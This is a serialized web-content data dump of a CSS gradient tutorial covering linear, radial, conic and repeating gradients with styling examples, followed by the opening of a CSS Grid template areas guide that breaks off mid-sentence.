top",[216,59773,52877],{},[199,59775,59776,59781],{},[216,59777,59778],{},[143,59779,59780],{},"to right",[216,59782,59783],{},"90deg",[199,59785,59786,59791],{},[216,59787,59788],{},[143,59789,59790],{},"to bottom",[216,59792,59793],{},"180deg (default)",[199,59795,59796,59801],{},[216,59797,59798],{},[143,59799,59800],{},"to left",[216,59802,59803],{},"270deg",[199,59805,59806,59811],{},[216,59807,59808],{},[143,59809,59810],{},"to top right",[216,59812,59813],{},"45deg",[16,59815,59816,59817,59820],{},"Angles give you finer control. A direction of ",[143,59818,59819],{},"137deg"," has no keyword equivalent — use the degree value when you need precision.",[33,59822,59824],{"id":59823},"multi-stop-gradients","Multi-Stop Gradients",[16,59826,59827],{},"You can add as many color stops as you want. The browser distributes them evenly by default, or you can specify exact positions.",[135,59829,59831],{"className":1554,"code":59830,"language":1556,"meta":141,"style":141},"\u002F* Evenly distributed *\u002F\nbackground: linear-gradient(to right, #EF4444, #F59E0B, #10B981, #3B82F6);\n\n\u002F* Custom positions *\u002F\nbackground: linear-gradient(to right, #3B82F6 0%, #8B5CF6 50%, #EC4899 100%);\n",[143,59832,59833,59838,59858,59862,59867],{"__ignoreMap":141},[1560,59834,59835],{"class":1562,"line":1563},[1560,59836,59837],{"class":1649},"\u002F* Evenly distributed *\u002F\n",[1560,59839,59840,59842,59844,59846,59848,59850,59852,59854,59856],{"class":1562,"line":337},[1560,59841,59695],{"class":1570},[1560,59843,54526],{"class":1566},[1560,59845,1459],{"class":1570},[1560,59847,30753],{"class":1566},[1560,59849,1459],{"class":1570},[1560,59851,18255],{"class":5159},[1560,59853,1459],{"class":1570},[1560,59855,2260],{"class":5159},[1560,59857,1744],{"class":1570},[1560,59859,59860],{"class":1562,"line":343},[1560,59861,1702],{"emptyLinePlaceholder":363},[1560,59863,59864],{"class":1562,"line":365},[1560,59865,59866],{"class":1649},"\u002F* Custom positions *\u002F\n",[1560,59868,59869,59871,59873,59876,59878,59881,59883],{"class":1562,"line":889},[1560,59870,59695],{"class":1570},[1560,59872,2260],{"class":5159},[1560,59874,59875],{"class":1570}," 0%, ",[1560,59877,55458],{"class":5159},[1560,59879,59880],{"class":1570}," 50%, ",[1560,59882,55467],{"class":1566},[1560,59884,59885],{"class":1570}," 100%);\n",[16,59887,59888],{},"Position values use percentages or length units. If you skip positions, the browser calculates them automatically based on the number of stops.",[11,59890,59892],{"id":59891},"radial-gradients","Radial Gradients",[16,59894,59895],{},"A radial gradient expands outward from a center point. You control the shape, size, and position.",[135,59897,59899],{"className":1554,"code":59898,"language":1556,"meta":141,"style":141},"\u002F* Basic radial gradient *\u002F\nbackground: radial-gradient(#3B82F6, #1E3A5F);\n\n\u002F* Custom shape and size *\u002F\nbackground: radial-gradient(circle at top left, #3B82F6, #1E3A5F);\n\n\u002F* Ellipse (default) with explicit size *\u002F\nbackground: radial-gradient(ellipse 80% 50% at 50% 50%, #3B82F6, #1E3A5F);\n",[143,59900,59901,59906,59920,59924,59929,59946,59950,59955],{"__ignoreMap":141},[1560,59902,59903],{"class":1562,"line":1563},[1560,59904,59905],{"class":1649},"\u002F* Basic radial gradient *\u002F\n",[1560,59907,59908,59911,59913,59915,59918],{"class":1562,"line":337},[1560,59909,59910],{"class":1570},"background: radial-gradient(",[1560,59912,2260],{"class":5159},[1560,59914,1459],{"class":1570},[1560,59916,59917],{"class":5159},"#1E3A5F",[1560,59919,1744],{"class":1570},[1560,59921,59922],{"class":1562,"line":343},[1560,59923,1702],{"emptyLinePlaceholder":363},[1560,59925,59926],{"class":1562,"line":365},[1560,59927,59928],{"class":1649},"\u002F* Custom shape and size *\u002F\n",[1560,59930,59931,59933,59935,59938,59940,59942,59944],{"class":1562,"line":889},[1560,59932,59910],{"class":1570},[1560,59934,12295],{"class":2484},[1560,59936,59937],{"class":1570}," at top left, ",[1560,59939,2260],{"class":5159},[1560,59941,1459],{"class":1570},[1560,59943,59917],{"class":5159},[1560,59945,1744],{"class":1570},[1560,59947,59948],{"class":1562,"line":1710},[1560,59949,1702],{"emptyLinePlaceholder":363},[1560,59951,59952],{"class":1562,"line":1717},[1560,59953,59954],{"class":1649},"\u002F* Ellipse (default) with explicit size *\u002F\n",[1560,59956,59957,59959,59961,59964,59966,59968,59970],{"class":1562,"line":1747},[1560,59958,59910],{"class":1570},[1560,59960,18073],{"class":2484},[1560,59962,59963],{"class":1570}," 80% 50% at 50% 50%, ",[1560,59965,2260],{"class":5159},[1560,59967,1459],{"class":1570},[1560,59969,59917],{"class":5159},[1560,59971,1744],{"class":1570},[33,59973,59975],{"id":59974},"shape-and-size-options","Shape and Size Options",[193,59977,59978,59986],{},[196,59979,59980],{},[199,59981,59982,59984],{},[202,59983,1769],{},[202,59985,29641],{},[211,59987,59988,59997,60006,60016,60026,60036],{},[199,59989,59990,59994],{},[216,59991,59992],{},[143,59993,12295],{},[216,59995,59996],{},"Perfect circle radius",[199,59998,59999,60003],{},[216,60000,60001],{},[143,60002,18073],{},[216,60004,60005],{},"Oval shaped (default)",[199,60007,60008,60013],{},[216,60009,60010],{},[143,60011,60012],{},"closest-side",[216,60014,60015],{},"Gradient meets nearest edge",[199,60017,60018,60023],{},[216,60019,60020],{},[143,60021,60022],{},"farthest-corner",[216,60024,60025],{},"Gradient reaches farthest corner (default)",[199,60027,60028,60033],{},[216,60029,60030],{},[143,60031,60032],{},"closest-corner",[216,60034,60035],{},"Gradient meets nearest corner",[199,60037,60038,60043],{},[216,60039,60040],{},[143,60041,60042],{},"farthest-side",[216,60044,60045],{},"Gradient reaches farthest side",[16,60047,1388,60048,60050,60051,60053],{},[143,60049,12295],{}," when you want uniform expansion. Use ",[143,60052,18073],{}," (or omit the shape) for backgrounds that stretch with the container.",[33,60055,60057],{"id":60056},"positioning-the-center","Positioning the Center",[16,60059,60060,60061,60063],{},"Place the gradient origin with the ",[143,60062,52885],{}," keyword followed by coordinates:",[135,60065,60067],{"className":1554,"code":60066,"language":1556,"meta":141,"style":141},"background: radial-gradient(circle at 75% 25%, #3B82F6, #1E3A5F);\n",[143,60068,60069],{"__ignoreMap":141},[1560,60070,60071,60073,60075,60078,60080,60082,60084],{"class":1562,"line":1563},[1560,60072,59910],{"class":1570},[1560,60074,12295],{"class":2484},[1560,60076,60077],{"class":1570}," at 75% 25%, ",[1560,60079,2260],{"class":5159},[1560,60081,1459],{"class":1570},[1560,60083,59917],{"class":5159},[1560,60085,1744],{"class":1570},[16,60087,60088,60089,1856,60092,468],{},"Coordinates can be percentages, pixels, or keywords like ",[143,60090,60091],{},"top left",[143,60093,60094],{},"center center",[11,60096,60098],{"id":60097},"conic-gradients","Conic Gradients",[16,60100,60101],{},"A conic gradient rotates color stops around a center point. Think of a color wheel or a pie chart.",[135,60103,60105],{"className":1554,"code":60104,"language":1556,"meta":141,"style":141},"\u002F* Basic conic gradient *\u002F\nbackground: conic-gradient(#3B82F6, #8B5CF6, #3B82F6);\n\n\u002F* Pie chart effect *\u002F\nbackground: conic-gradient(#3B82F6 0% 25%, #10B981 25% 50%, #F59E0B 50% 75%, #EF4444 75% 100%);\n\n\u002F* Rotated start angle *\u002F\nbackground: conic-gradient(from 45deg, #3B82F6, #8B5CF6, #3B82F6);\n",[143,60106,60107,60112,60129,60133,60138,60162,60166,60171],{"__ignoreMap":141},[1560,60108,60109],{"class":1562,"line":1563},[1560,60110,60111],{"class":1649},"\u002F* Basic conic gradient *\u002F\n",[1560,60113,60114,60117,60119,60121,60123,60125,60127],{"class":1562,"line":337},[1560,60115,60116],{"class":1570},"background: conic-gradient(",[1560,60118,2260],{"class":5159},[1560,60120,1459],{"class":1570},[1560,60122,55458],{"class":5159},[1560,60124,1459],{"class":1570},[1560,60126,2260],{"class":5159},[1560,60128,1744],{"class":1570},[1560,60130,60131],{"class":1562,"line":343},[1560,60132,1702],{"emptyLinePlaceholder":363},[1560,60134,60135],{"class":1562,"line":365},[1560,60136,60137],{"class":1649},"\u002F* Pie chart effect *\u002F\n",[1560,60139,60140,60142,60144,60147,60149,60152,60154,60157,60159],{"class":1562,"line":889},[1560,60141,60116],{"class":1570},[1560,60143,2260],{"class":5159},[1560,60145,60146],{"class":1570}," 0% 25%, ",[1560,60148,18255],{"class":5159},[1560,60150,60151],{"class":1570}," 25% 50%, ",[1560,60153,30753],{"class":1566},[1560,60155,60156],{"class":1570}," 50% 75%, ",[1560,60158,54526],{"class":1566},[1560,60160,60161],{"class":1570}," 75% 100%);\n",[1560,60163,60164],{"class":1562,"line":1710},[1560,60165,1702],{"emptyLinePlaceholder":363},[1560,60167,60168],{"class":1562,"line":1717},[1560,60169,60170],{"class":1649},"\u002F* Rotated start angle *\u002F\n",[1560,60172,60173,60176,60178,60180,60182,60184,60186],{"class":1562,"line":1747},[1560,60174,60175],{"class":1570},"background: conic-gradient(from 45deg, ",[1560,60177,2260],{"class":5159},[1560,60179,1459],{"class":1570},[1560,60181,55458],{"class":5159},[1560,60183,1459],{"class":1570},[1560,60185,2260],{"class":5159},[1560,60187,1744],{"class":1570},[33,60189,60191],{"id":60190},"hard-edge-stops","Hard-Edge Stops",[16,60193,60194],{},"When two color stops share the same position, the transition becomes a hard edge — no smooth blend. This is the key technique for pie charts and color wheels.",[135,60196,60198],{"className":1554,"code":60197,"language":1556,"meta":141,"style":141},"background: conic-gradient(\n  #3B82F6 0deg 90deg,\n  #10B981 90deg 180deg,\n  #F59E0B 180deg 270deg,\n  #EF4444 270deg 360deg\n);\n",[143,60199,60200,60204,60212,60220,60228,60236],{"__ignoreMap":141},[1560,60201,60202],{"class":1562,"line":1563},[1560,60203,52817],{"class":1570},[1560,60205,60206,60209],{"class":1562,"line":337},[1560,60207,60208],{"class":5159},"  #3B82F6",[1560,60210,60211],{"class":1570}," 0deg 90deg,\n",[1560,60213,60214,60217],{"class":1562,"line":343},[1560,60215,60216],{"class":5159},"  #10B981",[1560,60218,60219],{"class":1570}," 90deg 180deg,\n",[1560,60221,60222,60225],{"class":1562,"line":365},[1560,60223,60224],{"class":1566},"  #F59E0B",[1560,60226,60227],{"class":1570}," 180deg 270deg,\n",[1560,60229,60230,60233],{"class":1562,"line":889},[1560,60231,60232],{"class":1566},"  #EF4444",[1560,60234,60235],{"class":1570}," 270deg 360deg\n",[1560,60237,60238],{"class":1562,"line":1710},[1560,60239,1744],{"class":1570},[11,60241,60243],{"id":60242},"color-stops-and-positions","Color Stops and Positions",[16,60245,60246],{},"Color stops define what colors appear and where. Every gradient function shares this syntax.",[33,60248,60250],{"id":60249},"basic-rules","Basic Rules",[41,60252,60253,60256,60259,60262],{},[44,60254,60255],{},"Stops are listed in order from start to end",[44,60257,60258],{},"Each stop has a color and an optional position",[44,60260,60261],{},"Positions can overlap for hard transitions",[44,60263,60264],{},"You can mix units (px, %, em) but percentages are most common",[135,60266,60268],{"className":1554,"code":60267,"language":1556,"meta":141,"style":141},"\u002F* Two-color stop with hint *\u002F\nbackground: linear-gradient(to right, #3B82F6, 30%, #8B5CF6);\n\n\u002F* The 30% is a color hint — it shifts the midpoint of the transition *\u002F\n",[143,60269,60270,60275,60288,60292],{"__ignoreMap":141},[1560,60271,60272],{"class":1562,"line":1563},[1560,60273,60274],{"class":1649},"\u002F* Two-color stop with hint *\u002F\n",[1560,60276,60277,60279,60281,60284,60286],{"class":1562,"line":337},[1560,60278,59695],{"class":1570},[1560,60280,2260],{"class":5159},[1560,60282,60283],{"class":1570},", 30%, ",[1560,60285,55458],{"class":5159},[1560,60287,1744],{"class":1570},[1560,60289,60290],{"class":1562,"line":343},[1560,60291,1702],{"emptyLinePlaceholder":363},[1560,60293,60294],{"class":1562,"line":365},[1560,60295,60296],{"class":1649},"\u002F* The 30% is a color hint — it shifts the midpoint of the transition *\u002F\n",[33,60298,60300],{"id":60299},"transparency-gradients","Transparency Gradients",[16,60302,1388,60303,60305],{},[143,60304,47251],{}," or RGBA\u002FHSLA values to create fade effects:",[135,60307,60309],{"className":1554,"code":60308,"language":1556,"meta":141,"style":141},"\u002F* Fade to transparent *\u002F\nbackground: linear-gradient(to bottom, rgba(59, 130, 246, 0.8), transparent);\n",[143,60310,60311,60316],{"__ignoreMap":141},[1560,60312,60313],{"class":1562,"line":1563},[1560,60314,60315],{"class":1649},"\u002F* Fade to transparent *\u002F\n",[1560,60317,60318,60321,60323],{"class":1562,"line":337},[1560,60319,60320],{"class":1570},"background: linear-gradient(to bottom, rgba(59, 130, 246, 0",[1560,60322,5168],{"class":1566},[1560,60324,60325],{"class":1570},"), transparent);\n",[16,60327,60328],{},"This technique is perfect for overlay gradients on hero sections — you darken the bottom without hiding the background image underneath.",[11,60330,60332],{"id":60331},"repeating-gradients","Repeating Gradients",[16,60334,60335,60336,60339],{},"Each gradient type has a ",[143,60337,60338],{},"repeating-"," variant that tiles the pattern. The last color stop's position sets the tile size.",[135,60341,60343],{"className":1554,"code":60342,"language":1556,"meta":141,"style":141},"\u002F* Vertical stripes *\u002F\nbackground: repeating-linear-gradient(\n  45deg,\n  #3B82F6 0px,\n  #3B82F6 10px,\n  #8B5CF6 10px,\n  #8B5CF6 20px\n);\n\n\u002F* Radial rings *\u002F\nbackground: repeating-radial-gradient(\n  circle,\n  #3B82F6 0px,\n  #3B82F6 10px,\n  #1E3A5F 10px,\n  #1E3A5F 20px\n);\n\n\u002F* Conic color wheel *\u002F\nbackground: repeating-conic-gradient(\n  #3B82F6 0deg 30deg,\n  #8B5CF6 30deg 60deg\n);\n",[143,60344,60345,60350,60355,60360,60367,60374,60381,60388,60392,60396,60401,60406,60413,60419,60425,60432,60438,60442,60446,60451,60455,60461,60467],{"__ignoreMap":141},[1560,60346,60347],{"class":1562,"line":1563},[1560,60348,60349],{"class":1649},"\u002F* Vertical stripes *\u002F\n",[1560,60351,60352],{"class":1562,"line":337},[1560,60353,60354],{"class":1570},"background: repeating-linear-gradient(\n",[1560,60356,60357],{"class":1562,"line":343},[1560,60358,60359],{"class":1570},"  45deg,\n",[1560,60361,60362,60364],{"class":1562,"line":365},[1560,60363,60208],{"class":5159},[1560,60365,60366],{"class":1570}," 0px,\n",[1560,60368,60369,60371],{"class":1562,"line":889},[1560,60370,60208],{"class":5159},[1560,60372,60373],{"class":1570}," 10px,\n",[1560,60375,60376,60379],{"class":1562,"line":1710},[1560,60377,60378],{"class":5159},"  #8B5CF6",[1560,60380,60373],{"class":1570},[1560,60382,60383,60385],{"class":1562,"line":1717},[1560,60384,60378],{"class":5159},[1560,60386,60387],{"class":1570}," 20px\n",[1560,60389,60390],{"class":1562,"line":1747},[1560,60391,1744],{"class":1570},[1560,60393,60394],{"class":1562,"line":2507},[1560,60395,1702],{"emptyLinePlaceholder":363},[1560,60397,60398],{"class":1562,"line":2524},[1560,60399,60400],{"class":1649},"\u002F* Radial rings *\u002F\n",[1560,60402,60403],{"class":1562,"line":2529},[1560,60404,60405],{"class":1570},"background: repeating-radial-gradient(\n",[1560,60407,60408,60411],{"class":1562,"line":2534},[1560,60409,60410],{"class":2484},"  circle",[1560,60412,11943],{"class":1570},[1560,60414,60415,60417],{"class":1562,"line":2542},[1560,60416,60208],{"class":5159},[1560,60418,60366],{"class":1570},[1560,60420,60421,60423],{"class":1562,"line":2558},[1560,60422,60208],{"class":5159},[1560,60424,60373],{"class":1570},[1560,60426,60427,60430],{"class":1562,"line":2570},[1560,60428,60429],{"class":5159},"  #1E3A5F",[1560,60431,60373],{"class":1570},[1560,60433,60434,60436],{"class":1562,"line":6638},[1560,60435,60429],{"class":5159},[1560,60437,60387],{"class":1570},[1560,60439,60440],{"class":1562,"line":11615},[1560,60441,1744],{"class":1570},[1560,60443,60444],{"class":1562,"line":11621},[1560,60445,1702],{"emptyLinePlaceholder":363},[1560,60447,60448],{"class":1562,"line":11633},[1560,60449,60450],{"class":1649},"\u002F* Conic color wheel *\u002F\n",[1560,60452,60453],{"class":1562,"line":11638},[1560,60454,53407],{"class":1570},[1560,60456,60457,60459],{"class":1562,"line":11672},[1560,60458,60208],{"class":5159},[1560,60460,53415],{"class":1570},[1560,60462,60463,60465],{"class":1562,"line":19435},[1560,60464,60378],{"class":5159},[1560,60466,53423],{"class":1570},[1560,60468,60469],{"class":1562,"line":19442},[1560,60470,1744],{"class":1570},[16,60472,60473],{},"Repeating gradients are valuable for creating texture patterns — stripes, checkerboards, and rings — without any image assets.",[11,60475,46587],{"id":46586},[33,60477,60479],{"id":60478},"glossy-buttons","Glossy Buttons",[135,60481,60483],{"className":1554,"code":60482,"language":1556,"meta":141,"style":141},".glossy-btn {\n  background: linear-gradient(\n    to bottom,\n    rgba(255, 255, 255, 0.25) 0%,\n    rgba(255, 255, 255, 0) 50%,\n    rgba(0, 0, 0, 0.1) 100%\n  ),\n  #3B82F6;\n}\n",[143,60484,60485,60492,60502,60510,60538,60566,60592,60597,60603],{"__ignoreMap":141},[1560,60486,60487,60490],{"class":1562,"line":1563},[1560,60488,60489],{"class":1566},".glossy-btn",[1560,60491,1571],{"class":1570},[1560,60493,60494,60496,60498,60500],{"class":1562,"line":337},[1560,60495,5665],{"class":1576},[1560,60497,1663],{"class":1570},[1560,60499,46356],{"class":1576},[1560,60501,35957],{"class":1570},[1560,60503,60504,60506,60508],{"class":1562,"line":343},[1560,60505,56360],{"class":1669},[1560,60507,56363],{"class":1576},[1560,60509,11943],{"class":1570},[1560,60511,60512,60514,60516,60518,60520,60522,60524,60526,60528,60530,60532,60534,60536],{"class":1562,"line":365},[1560,60513,56381],{"class":1576},[1560,60515,1688],{"class":1570},[1560,60517,5400],{"class":1576},[1560,60519,1459],{"class":1570},[1560,60521,5400],{"class":1576},[1560,60523,1459],{"class":1570},[1560,60525,5400],{"class":1576},[1560,60527,1459],{"class":1570},[1560,60529,20057],{"class":1576},[1560,60531,1733],{"class":1570},[1560,60533,5285],{"class":1576},[1560,60535,17990],{"class":1669},[1560,60537,11943],{"class":1570},[1560,60539,60540,60542,60544,60546,60548,60550,60552,60554,60556,60558,60560,60562,60564],{"class":1562,"line":889},[1560,60541,56381],{"class":1576},[1560,60543,1688],{"class":1570},[1560,60545,5400],{"class":1576},[1560,60547,1459],{"class":1570},[1560,60549,5400],{"class":1576},[1560,60551,1459],{"class":1570},[1560,60553,5400],{"class":1576},[1560,60555,1459],{"class":1570},[1560,60557,5285],{"class":1576},[1560,60559,1733],{"class":1570},[1560,60561,18059],{"class":1576},[1560,60563,17990],{"class":1669},[1560,60565,11943],{"class":1570},[1560,60567,60568,60570,60572,60574,60576,60578,60580,60582,60584,60586,60588,60590],{"class":1562,"line":1710},[1560,60569,56381],{"class":1576},[1560,60571,1688],{"class":1570},[1560,60573,5285],{"class":1576},[1560,60575,1459],{"class":1570},[1560,60577,5285],{"class":1576},[1560,60579,1459],{"class":1570},[1560,60581,5285],{"class":1576},[1560,60583,1459],{"class":1570},[1560,60585,46961],{"class":1576},[1560,60587,1733],{"class":1570},[1560,60589,18114],{"class":1576},[1560,60591,36070],{"class":1669},[1560,60593,60594],{"class":1562,"line":1717},[1560,60595,60596],{"class":1570},"  ),\n",[1560,60598,60599,60601],{"class":1562,"line":1747},[1560,60600,60208],{"class":1576},[1560,60602,2228],{"class":1570},[1560,60604,60605],{"class":1562,"line":2507},[1560,60606,1585],{"class":1570},[33,60608,60610],{"id":60609},"elevated-cards","Elevated Cards",[135,60612,60614],{"className":1554,"code":60613,"language":1556,"meta":141,"style":141},".card {\n  background: linear-gradient(135deg, #1E293B, #334155);\n  border-radius: 12px;\n}\n",[143,60615,60616,60622,60646,60658],{"__ignoreMap":141},[1560,60617,60618,60620],{"class":1562,"line":1563},[1560,60619,1567],{"class":1566},[1560,60621,1571],{"class":1570},[1560,60623,60624,60626,60628,60630,60632,60634,60636,60638,60640,60642,60644],{"class":1562,"line":337},[1560,60625,5665],{"class":1576},[1560,60627,1663],{"class":1570},[1560,60629,46356],{"class":1576},[1560,60631,1688],{"class":1570},[1560,60633,46361],{"class":1576},[1560,60635,1694],{"class":1669},[1560,60637,1459],{"class":1570},[1560,60639,2315],{"class":1576},[1560,60641,1459],{"class":1570},[1560,60643,2243],{"class":1576},[1560,60645,1744],{"class":1570},[1560,60647,60648,60650,60652,60654,60656],{"class":1562,"line":343},[1560,60649,17294],{"class":1576},[1560,60651,1663],{"class":1570},[1560,60653,13566],{"class":1576},[1560,60655,1670],{"class":1669},[1560,60657,2228],{"class":1570},[1560,60659,60660],{"class":1562,"line":365},[1560,60661,1585],{"class":1570},[33,60663,60665],{"id":60664},"hero-overlays","Hero Overlays",[135,60667,60669],{"className":1554,"code":60668,"language":1556,"meta":141,"style":141},".hero {\n  background: linear-gradient(\n    to bottom,\n    transparent 40%,\n    rgba(0, 0, 0, 0.7) 100%\n  );\n}\n",[143,60670,60671,60677,60687,60695,60705,60732,60736],{"__ignoreMap":141},[1560,60672,60673,60675],{"class":1562,"line":1563},[1560,60674,32789],{"class":1566},[1560,60676,1571],{"class":1570},[1560,60678,60679,60681,60683,60685],{"class":1562,"line":337},[1560,60680,5665],{"class":1576},[1560,60682,1663],{"class":1570},[1560,60684,46356],{"class":1576},[1560,60686,35957],{"class":1570},[1560,60688,60689,60691,60693],{"class":1562,"line":343},[1560,60690,56360],{"class":1669},[1560,60692,56363],{"class":1576},[1560,60694,11943],{"class":1570},[1560,60696,60697,60699,60701,60703],{"class":1562,"line":365},[1560,60698,56370],{"class":1576},[1560,60700,18343],{"class":1576},[1560,60702,17990],{"class":1669},[1560,60704,11943],{"class":1570},[1560,60706,60707,60709,60711,60713,60715,60717,60719,60721,60723,60726,60728,60730],{"class":1562,"line":889},[1560,60708,56381],{"class":1576},[1560,60710,1688],{"class":1570},[1560,60712,5285],{"class":1576},[1560,60714,1459],{"class":1570},[1560,60716,5285],{"class":1576},[1560,60718,1459],{"class":1570},[1560,60720,5285],{"class":1576},[1560,60722,1459],{"class":1570},[1560,60724,60725],{"class":1576},"0.7",[1560,60727,1733],{"class":1570},[1560,60729,18114],{"class":1576},[1560,60731,36070],{"class":1669},[1560,60733,60734],{"class":1562,"line":1710},[1560,60735,36075],{"class":1570},[1560,60737,60738],{"class":1562,"line":1717},[1560,60739,1585],{"class":1570},[33,60741,60743],{"id":60742},"subtle-texture-with-repeating-gradient","Subtle Texture with Repeating Gradient",[135,60745,60747],{"className":1554,"code":60746,"language":1556,"meta":141,"style":141},".texture-bg {\n  background: repeating-linear-gradient(\n    0deg,\n    transparent,\n    transparent 2px,\n    rgba(255, 255, 255, 0.03) 2px,\n    rgba(255, 255, 255, 0.03) 4px\n  );\n}\n",[143,60748,60749,60756,60767,60775,60781,60791,60820,60847,60851],{"__ignoreMap":141},[1560,60750,60751,60754],{"class":1562,"line":1563},[1560,60752,60753],{"class":1566},".texture-bg",[1560,60755,1571],{"class":1570},[1560,60757,60758,60760,60762,60765],{"class":1562,"line":337},[1560,60759,5665],{"class":1576},[1560,60761,1663],{"class":1570},[1560,60763,60764],{"class":1576},"repeating-linear-gradient",[1560,60766,35957],{"class":1570},[1560,60768,60769,60771,60773],{"class":1562,"line":343},[1560,60770,19187],{"class":1576},[1560,60772,1694],{"class":1669},[1560,60774,11943],{"class":1570},[1560,60776,60777,60779],{"class":1562,"line":365},[1560,60778,56370],{"class":1576},[1560,60780,11943],{"class":1570},[1560,60782,60783,60785,60787,60789],{"class":1562,"line":889},[1560,60784,56370],{"class":1576},[1560,60786,9426],{"class":1576},[1560,60788,1670],{"class":1669},[1560,60790,11943],{"class":1570},[1560,60792,60793,60795,60797,60799,60801,60803,60805,60807,60809,60812,60814,60816,60818],{"class":1562,"line":1710},[1560,60794,56381],{"class":1576},[1560,60796,1688],{"class":1570},[1560,60798,5400],{"class":1576},[1560,60800,1459],{"class":1570},[1560,60802,5400],{"class":1576},[1560,60804,1459],{"class":1570},[1560,60806,5400],{"class":1576},[1560,60808,1459],{"class":1570},[1560,60810,60811],{"class":1576},"0.03",[1560,60813,1733],{"class":1570},[1560,60815,10099],{"class":1576},[1560,60817,1670],{"class":1669},[1560,60819,11943],{"class":1570},[1560,60821,60822,60824,60826,60828,60830,60832,60834,60836,60838,60840,60842,60844],{"class":1562,"line":1717},[1560,60823,56381],{"class":1576},[1560,60825,1688],{"class":1570},[1560,60827,5400],{"class":1576},[1560,60829,1459],{"class":1570},[1560,60831,5400],{"class":1576},[1560,60833,1459],{"class":1570},[1560,60835,5400],{"class":1576},[1560,60837,1459],{"class":1570},[1560,60839,60811],{"class":1576},[1560,60841,1733],{"class":1570},[1560,60843,12546],{"class":1576},[1560,60845,60846],{"class":1669},"px\n",[1560,60848,60849],{"class":1562,"line":1747},[1560,60850,36075],{"class":1570},[1560,60852,60853],{"class":1562,"line":2507},[1560,60854,1585],{"class":1570},[11,60856,1355],{"id":1354},[41,60858,60859,60862,60874,60877,60880,60886],{},[44,60860,60861],{},"CSS gradients replace image files with Resolution-independent, instantly-loading visuals",[44,60863,1388,60864,60866,60867,60870,60871,60873],{},[143,60865,46356],{}," for directional flows, ",[143,60868,60869],{},"radial-gradient"," for spotlights and focal points, ",[143,60872,53023],{}," for pie charts and color wheels",[44,60875,60876],{},"Color stop positions give you precise control over where each color appears",[44,60878,60879],{},"Overlapping stops create hard edges for patterns and geometric effects",[44,60881,60882,60885],{},[143,60883,60884],{},"repeating-*"," variants tile the pattern for textures like stripes and rings",[44,60887,60888,60889,60891],{},"Always include a ",[143,60890,47251],{}," stop or low-alpha color for overlay effects",[11,60893,286],{"id":285},[16,60895,60896,60897,60899],{},"Build and preview CSS gradients interactively with our ",[98,60898,18583],{"href":18582},". Adjust angles, add color stops, and copy the generated code directly into your project.",[11,60901,321],{"id":320},[41,60903,60904,60909],{},[44,60905,60906,60908],{},[98,60907,56834],{"href":56833}," — Deep dive into angles, directions, and advanced multi-stop techniques",[44,60910,60911,60913],{},[98,60912,49355],{"href":49354}," — Combine gradients with shadows and color for polished UIs",[2043,60915,60916],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":60918},[60919,60920,60921,60925,60929,60932,60936,60937,60943,60944,60945],{"id":59588,"depth":337,"text":59589},{"id":59614,"depth":337,"text":59615},{"id":59676,"depth":337,"text":59677,"children":60922},[60923,60924],{"id":59749,"depth":343,"text":59750},{"id":59823,"depth":343,"text":59824},{"id":59891,"depth":337,"text":59892,"children":60926},[60927,60928],{"id":59974,"depth":343,"text":59975},{"id":60056,"depth":343,"text":60057},{"id":60097,"depth":337,"text":60098,"children":60930},[60931],{"id":60190,"depth":343,"text":60191},{"id":60242,"depth":337,"text":60243,"children":60933},[60934,60935],{"id":60249,"depth":343,"text":60250},{"id":60299,"depth":343,"text":60300},{"id":60331,"depth":337,"text":60332},{"id":46586,"depth":337,"text":46587,"children":60938},[60939,60940,60941,60942],{"id":60478,"depth":343,"text":60479},{"id":60609,"depth":343,"text":60610},{"id":60664,"depth":343,"text":60665},{"id":60742,"depth":343,"text":60743},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to create CSS gradients — linear, radial, and conic — with syntax examples, color stops, and practical design tips.",{"immutable":363},{"title":59583,"description":60946},"guides\u002Fcss-gradient-guide","-0s0vEvS5htz6gM18n3NtD5AlYIDB83a4AaUf6dcFUI",{"id":60952,"title":60953,"body":60954,"date":2070,"description":61764,"extension":361,"meta":61765,"navigation":363,"path":61766,"readingTime":1710,"seo":61767,"stem":61768,"__hash__":61769},"guides\u002Fguides\u002Fcss-grid-areas-guide.md","CSS Grid Template Areas Guide",{"type":8,"value":60955,"toc":61749},[60956,60960,60963,60966,60970,60980,61114,61120,61124,61138,61183,61196,61200,61204,61301,61305,61406,61418,61422,61498,61501,61505,61508,61603,61609,61613,61673,61676,61678,61707,61709,61737,61739,61746],[11,60957,60959],{"id":60958},"what-are-grid-template-areas","What Are Grid Template Areas?",[16,60961,60962],{},"Grid template areas let you name sections of your layout and then arrange them visually using ASCII-art-like syntax in CSS. Instead of tracking column and line numbers, you describe your layout with words — making the code immediately readable and easy to rearrange.",[16,60964,60965],{},"This feature is the most expressive part of CSS Grid, turning layout definition from an exercise in coordinate math into something closer to sketching a wireframe.",[11,60967,60969],{"id":60968},"basic-syntax","Basic Syntax",[16,60971,60972,60973,60976,60977,8037],{},"Define named 